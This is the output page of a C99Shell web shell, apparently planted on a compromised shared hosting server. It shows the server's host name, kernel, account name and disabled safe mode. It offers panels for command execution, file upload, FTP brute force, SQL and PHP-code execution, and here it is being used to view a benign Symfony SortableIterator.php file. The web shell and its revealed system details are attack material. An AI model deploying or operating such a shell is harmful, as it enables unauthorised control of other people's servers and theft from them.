!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/Symfony/Component/Finder/Iterator/   drwxr-xr-x
Free 294.17 GB of 429.69 GB (68.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SortableIterator.php (2.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Finder\Iterator;

/**
 * SortableIterator applies a sort on a given Iterator.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
class SortableIterator implements \IteratorAggregate
{
    const 
SORT_BY_NAME 1;
    const 
SORT_BY_TYPE 2;
    const 
SORT_BY_ACCESSED_TIME 3;
    const 
SORT_BY_CHANGED_TIME 4;
    const 
SORT_BY_MODIFIED_TIME 5;

    private 
$iterator;
    private 
$sort;

    
/**
     * Constructor.
     *
     * @param \Traversable     $iterator The Iterator to filter
     * @param integer|callback $sort     The sort type (SORT_BY_NAME, SORT_BY_TYPE, or a PHP callback)
     *
     * @throws \InvalidArgumentException
     */
    
public function __construct(\Traversable $iterator$sort)
    {
        
$this->iterator $iterator;

        if (
self::SORT_BY_NAME === $sort) {
            
$this->sort = function ($a$b) {
                return 
strcmp($a->getRealpath(), $b->getRealpath());
            };
        } elseif (
self::SORT_BY_TYPE === $sort) {
            
$this->sort = function ($a$b) {
                if (
$a->isDir() && $b->isFile()) {
                    return -
1;
                } elseif (
$a->isFile() && $b->isDir()) {
                    return 
1;
                }

                return 
strcmp($a->getRealpath(), $b->getRealpath());
            };
        } elseif (
self::SORT_BY_ACCESSED_TIME === $sort) {
            
$this->sort = function ($a$b) {
                return (
$a->getATime() > $b->getATime());
            };
        } elseif (
self::SORT_BY_CHANGED_TIME === $sort) {
            
$this->sort = function ($a$b) {
                return (
$a->getCTime() > $b->getCTime());
            };
        } elseif (
self::SORT_BY_MODIFIED_TIME === $sort) {
            
$this->sort = function ($a$b) {
                return (
$a->getMTime() > $b->getMTime());
            };
        } elseif (
is_callable($sort)) {
            
$this->sort $sort;
        } else {
            throw new \
InvalidArgumentException('The SortableIterator takes a PHP callback or a valid built-in sort algorithm as an argument.');
        }
    }

    public function 
getIterator()
    {
        
$array iterator_to_array($this->iteratortrue);
        
uasort($array$this->sort);

        return new \
ArrayIterator($array);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0038 ]--